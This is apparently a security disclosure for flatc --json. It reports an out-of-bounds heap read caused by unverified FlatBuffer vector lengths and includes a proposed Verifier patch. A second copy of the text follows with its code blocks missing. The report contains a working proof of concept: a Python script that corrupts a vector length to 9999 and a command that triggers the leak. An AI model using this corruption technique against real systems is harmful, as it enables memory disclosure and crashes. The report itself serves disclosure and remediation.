AI was utilized for refinement and linguistic polishing of this report.
Summary
Out-of-Bounds Heap Read / Info Disclosure in flatc --json (Unverified Buffer Traversal)
CWE: CWE-125 (Out-of-bounds Read)
Affected versions: Tested on commit e223d69b (flatc version 25.12.19)
When converting a binary FlatBuffer to JSON, flatbuffers::GenText() trusts serialized vector length fields without first running the buffer through flatbuffers::Verifier.
Because Vector::Get() relies on FLATBUFFERS_ASSERT for bounds checking (which is stripped in release builds for performance), an attacker can provide a binary with a valid file_identifier but a corrupted vector length. flatc will accept the file normally and read far past the vector's allocation.
Impact
In a standard release build, flatc --json silently reads unmapped or out-of-bounds heap memory and formats it as standard integer array elements in the resulting JSON file. This results in explicit Information Disclosure with no warning to the user. It can also cause a SIGSEGV if the read hits unmapped memory.
Reproduction Steps
This requires no custom C++ code—only the stock flatc release build.
1. Create a schema and valid data:
// oob_read.fbs
table Root { items: [int]; }
root_type Root;
file_identifier "EXMP";
// valid.json
{ "items": [11, 22, 33] }
Compile to a valid 40-byte binary: flatc -b oob_read.fbs valid.json
2. Corrupt the vector length (Python):
import struct
with open("valid.bin", "rb") as f: buf = bytearray(f.read())
# Standard FlatBuffer traversal to locate the vector
root_offset = struct.unpack_from("<I", buf, 0)[0]
vtable_soffset = struct.unpack_from("<i", buf, root_offset)[0]
field0_voff = struct.unpack_from("<H", buf, root_offset - vtable_soffset + 4)[0]
vec_pos = root_offset + field0_voff + struct.unpack_from("<I", buf, root_offset + field0_voff)[0]
# Overwrite vector length from 3 to 9999
struct.pack_into("<I", buf, vec_pos, 9999)
with open("corrupt.bin", "wb") as f: f.write(buf)
3. Trigger the leak/crash:
flatc --json oob_read.fbs -- corrupt.bin
ASan Stack Trace
When compiled with AddressSanitizer, flatc explicitly catches the OOB read:
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 4 at 0x... thread T0
#0 flatbuffers::Vector<int, unsigned int>::operator[](unsigned int) const [vector.h:199]
#1 flatbuffers::JsonPrinter::PrintContainer<...>(...) [idl_gen_text.cpp:117]
#2 flatbuffers::JsonPrinter::PrintOffset(...)
#3 flatbuffers::JsonPrinter::GenStruct(...)
#4 flatbuffers::GenerateTextImpl(...) [idl_gen_text.cpp:383]
Root Cause & Proposed Fix
The core issue is in src/idl_gen_text.cpp, where GenText() iterates for (SizeT i = 0; i < size; i++) based on the unverified size parameter from the buffer.
To harden GenText() against corrupt-buffer bugs without impacting the zero-copy performance of the core Vector headers, GenText() should explicitly verify buffer integrity before traversal.
Suggested Patch:
--- a/src/idl_gen_text.cpp
+++ b/src/idl_gen_text.cpp
@@ -418,6 +418,11 @@
const char* GenText(const Parser& parser, const void* flatbuffer,
std::string* _text) {
FLATBUFFERS_ASSERT(parser.root_struct_def_);
+
+ // Verify buffer integrity before traversal to prevent OOB reads.
+ flatbuffers::Verifier verifier(static_cast<const uint8_t*>(flatbuffer), parser.builder_.GetSize());
+ if (!verifier.VerifyBuffer<Table>(nullptr)) return "buffer verification failed";
+
auto root = parser.opts.size_prefixed
attachment.zip
AI was utilized for refinement and linguistic polishing of this report.
Summary
Out-of-Bounds Heap Read / Info Disclosure in
flatc --json(Unverified Buffer Traversal)CWE: CWE-125 (Out-of-bounds Read)
Affected versions: Tested on commit
e223d69b(flatcversion 25.12.19)When converting a binary FlatBuffer to JSON,
flatbuffers::GenText()trusts serialized vector length fields without first running the buffer throughflatbuffers::Verifier.Because
Vector::Get()relies onFLATBUFFERS_ASSERTfor bounds checking (which is stripped in release builds for performance), an attacker can provide a binary with a validfile_identifierbut a corrupted vector length.flatcwill accept the file normally and read far past the vector's allocation.Impact
In a standard release build,
flatc --jsonsilently reads unmapped or out-of-bounds heap memory and formats it as standard integer array elements in the resulting JSON file. This results in explicit Information Disclosure with no warning to the user. It can also cause aSIGSEGVif the read hits unmapped memory.Reproduction Steps
This requires no custom C++ code—only the stock
flatcrelease build.1. Create a schema and valid data:
Compile to a valid 40-byte binary:
flatc -b oob_read.fbs valid.json2. Corrupt the vector length (Python):
3. Trigger the leak/crash:
ASan Stack Trace
When compiled with AddressSanitizer,
flatcexplicitly catches the OOB read:Root Cause & Proposed Fix
The core issue is in
src/idl_gen_text.cpp, whereGenText()iteratesfor (SizeT i = 0; i < size; i++)based on the unverifiedsizeparameter from the buffer.To harden
GenText()against corrupt-buffer bugs without impacting the zero-copy performance of the coreVectorheaders,GenText()should explicitly verify buffer integrity before traversal.Suggested Patch:
attachment.zip